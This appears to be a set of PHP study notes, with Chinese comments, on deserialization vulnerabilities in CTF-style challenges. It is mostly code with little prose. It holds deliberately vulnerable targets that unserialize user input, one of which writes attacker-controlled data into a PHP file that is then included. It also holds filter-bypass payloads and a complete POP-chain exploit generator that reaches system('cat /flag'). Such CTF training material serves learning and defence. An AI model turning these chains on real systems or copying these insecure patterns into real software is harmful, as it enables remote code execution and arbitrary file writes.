<?php
    class test{
        public $name="ikkunma";
        public $age="18";
    }
    $a=new test();
    print_r($a);
?>

<?php
    class test{
        public $name="ikkunma";
        private $age="18";
        protected $sex="man";
    }
    $a=new test();
    $a=serialize($a);
    print_r($a);
?>

<?php
    $b='序列化字符串';
    $b=unserialize($b);
?>

<?php
    class test{
        public $a='hacked by ikkunma';
        public $b='hacked by ikkunmma';
        public function pt(){
            echo $this->a.'<br/>';
        }
        public function __construct(){
            echo '__construct<br/>';
        }
        public function __destruct(){
            echo '__construct<br/>';
        }
        public function __sleep(){
            echo '__sleep<br/>';
            return array('a','b');
        }
        public function __wakeup(){
            echo '__wakeup<br/>';
        }
    }
    //创建对象调用__construct
    $object = new test();
    //序列化对象调用__sleep
    $serialize = serialize($object);
    //输出序列化后的字符串
    echo 'serialize: '.$serialize.'<br/>';
    //反序列化对象调用__wakeup
    $unserialize=unserialize($serialize);
    //调用pt输出数据
    $unserialize->pt();
    //脚本结束调用__destruct
?>

<?php
error_reporting(0);
include "flag.php";
$KEY = "ikkunma";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
    echo "$flag";
}
show_source(__FILE__);

<?php
    $a="ikkunma";
    $b=serialize($a);
    echo $b;
?>

class foo {
    public $file = "2.txt"; // 控制写入的文件名
    public $data = "test";  // 控制写入的内容

    function __destruct(){
        // 在对象销毁时写入文件
        file_put_contents(dirname(__FILE__).'/'.$this->file, $this->data);
    }
}

$file_name = $_GET['filename']; // 获取用户传入的文件名
print "You have readfile ".$file_name;

// 读取用户指定的文件，并进行 unserialize
unserialize(file_get_contents($file_name));

<?php
class test{
    public $a;
    public function __construct(){
        $this->a = 'abc';
    }
    public function __wakeup(){
        $this->a='def';
    }
    public function  __destruct(){
        echo $this->a;
    }
}

$a = new test();  //test 对象被变量a引用，所以该对象不是“垃圾”

new test();  //test 在没有被引用时便会被当作“垃圾”进行回收(如果()里有参数则不是垃圾)

$a = new test();
$a = 1;  //test 在失去引用时便会被当作“垃圾”进行回收

<?php
class test {
    function __destruct()
    {
        echo 'success!!';
    }
}
if(isset($_REQUEST['input'])) {
    $a = unserialize($_REQUEST['input']);
    throw new Exception('lose');
}

class test {}
$a = serialize(array(new test, null));
echo $a.'<br/>';
$a = str_replace(':1', ':0', $a);//将序列化的数组下标为0的元素给为null
echo $a;

<?php
class test{
    public $a;
    public function __construct(){
        $this->a = 'abc';
    }
    public function  __destruct(){
        echo $this->a.PHP_EOL;
    }
}

function match($data){
    if (preg_match('/^O:\d+/',$data)){
        die('nonono!');
    }else{
        return $data;
    }
}
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';
// +号绕过
$b = str_replace('O:4','O:+4', $a);
unserialize(match($b));
// 将对象放入数组绕过 serialize(array($a));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');

<?php

class Book
{
    public $id = 114514;
    public $name = "Ikkunmaa 的学习笔记"; // 可控
    public $path = "Ikkunmaa 的学习笔记.md";
}

function filter($str)
{
    return str_replace("'", "\\'", $str);
}

$exampleBook = new Book();
echo "[处理前]\n";
$ser = serialize($exampleBook);
echo $ser . "\n";
echo "[处理后]\n";
$ser = filter($ser);
echo $ser . "\n";
echo "[文件路径] \n";
$exampleBook = unserialize($ser);
echo $exampleBook->path . "\n";

<?php
class test {
    public $a;
    public $b;
    public function __construct(){
        $this->a = 'aaa';
    }
    public function __destruct(){

        if($this->a === $this->b) {
            echo 'you success';
        }
    }
}
if(isset($_REQUEST['input'])) {
    if(preg_match('/aaa/', $_REQUEST['input'])) {
       die('nonono');
    }
    unserialize($_REQUEST['input']);
}else {
    highlight_file(__FILE__);
}

<?php
class Read
{
    public $name;

    public function __wakeup()
    {
        if ($this->name == "flag")
        {
            echo "You did it!";
        }
    }
}


$str = '';
if (strpos($str, "flag") === false)
{
    $obj = unserialize($str);
}
else
{
    echo "You can't do it!";
}

<?php
highlight_file(__FILE__);
error_reporting(0);
class NSS
{
    public $cmd;
    function __invoke()
    {
        echo "Congratulations!!!You have learned to construct a POP chain<br/>";
        system($this->cmd);
    }
    function __wakeup()
    {
        echo "W4keup!!!<br/>";
        $this->cmd = "echo Welcome to NSSCTF";
    }
}


class C
{
    public $whoami;
    function __get($argv)
    {
        echo "what do you want?";
        $want = $this->whoami;
        return $want();
    }
}

class T
{
    public $sth;
    function __toString()
    {
        echo "Now you know how to use __toString<br/>There is more than one way to trigger";
        return $this->sth->var;
    }
}

class F
{
    public $user = "nss";
    public $passwd = "ctf";
    public $notes;
    function __construct($user, $passwd)
    {
        $this->user = $user;
        $this->passwd = $passwd;
    }
    function __destruct()
    {
        if ($this->user === "SWPU" && $this->passwd === "NSS") {
                echo "Now you know how to use __construct<br/>";
                echo "your notes".$this->notes;
        }else{
            die("N0!");
        }
    }
}

if (isset($_GET['ser'])) {
    $ser = unserialize(base64_decode($_GET['ser']));
} else {
    echo "Let's do some deserialization :)";
}

<?php
class NSS
{
    public $cmd = "cat /flag";
}

class C
{
    public $whoami;
}

class T
{
    public $sth;
}

class F
{
    public $user = "SWPU";
    public $passwd = "NSS";
    public $notes;
}

$f = new F("SWPU", "NSS");

$t = new T();
$c = new C();
$nss = new NSS();
$c->whoami = $nss;
$t->sth = $c;
$f->notes = $t;
echo serialize($f);

<?php
    class A{
        public $target = "test";
        function __wakeup(){
            $this->target = "wakeup!";
        }
        function __destruct(){
            $fp = fopen("/var/www/hello.php","w");
            fputs($fp,$this->target); //将 $target 写入一个文件（hello.php）
            fclose($fp);
        }
    }
    $a = $_GET['test'];
    $b = unserialize($a);
    echo "hello.php"."<br/>";
    include("./hello.php");
?>